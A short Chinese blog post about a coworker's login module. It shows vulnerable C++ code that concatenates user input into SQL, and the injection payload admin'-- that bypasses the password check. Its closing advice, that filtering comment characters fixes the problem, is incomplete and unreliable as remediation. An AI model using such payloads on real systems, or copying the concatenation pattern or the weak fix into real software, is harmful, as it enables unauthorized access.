所谓最简单的SQL注入

来源:互联网 发布:mac好用的视频软件 编辑:程序博客网 时间:2024/05/17 16:54



今天没带眼镜,,所以不太想干活

也不知怎的,

对公司另一同事写的业务台模块来了兴趣..帮其"测试一下"


在VC的代码片段是

CString SqlText = "Select User_ID, Login_Name, Login_Pwd, Chinese_Name,  Operation from A_Employee  Where Login_Name = '"+ m_username.Trim() + "' and pwdcompare(" + tmppwd+ ", Login_Pwd, 0) = 1";


SqlText = "Select * FROM A_Employee WHERE Login_Name = '" + m_username.Trim() + "'";


把其放到SQL后,

Select User_ID, Login_Name, Login_Pwd, Chinese_Name,  Operation from A_Employee Where Login_Name = 'admin' and pwdcompare('******', Login_Pwd, 0) = 1 Select * FROM A_Employee WHERE Login_Name = 'admin '; 


再用注释短路掉之后....也就是在输入用户名是 admin'--

(第一个单引号与之前语句的单引号配对, 后面跟的是用注释把后面的密码验证逻辑给短路掉.

变成了下面的

Select User_ID, Login_Name, Login_Pwd, Chinese_Name,  Operation from A_Employee Where Login_Name = 'admin'--' and pwdcompare('******', Login_Pwd, 0) = 1 Select * FROM A_Employee WHERE Login_Name = 'admin '--';



这样就登陆了,,不过我还是要知道有Admin这个用户...有点假,

不过后来再想了一下. 公司这个软件是在局域网使用的,对安全性要求没有那么高也是正常的,



其实只要在输入的时候,把注释类似的敏感字符给注释掉就可以了.



	
				
		
原创粉丝点击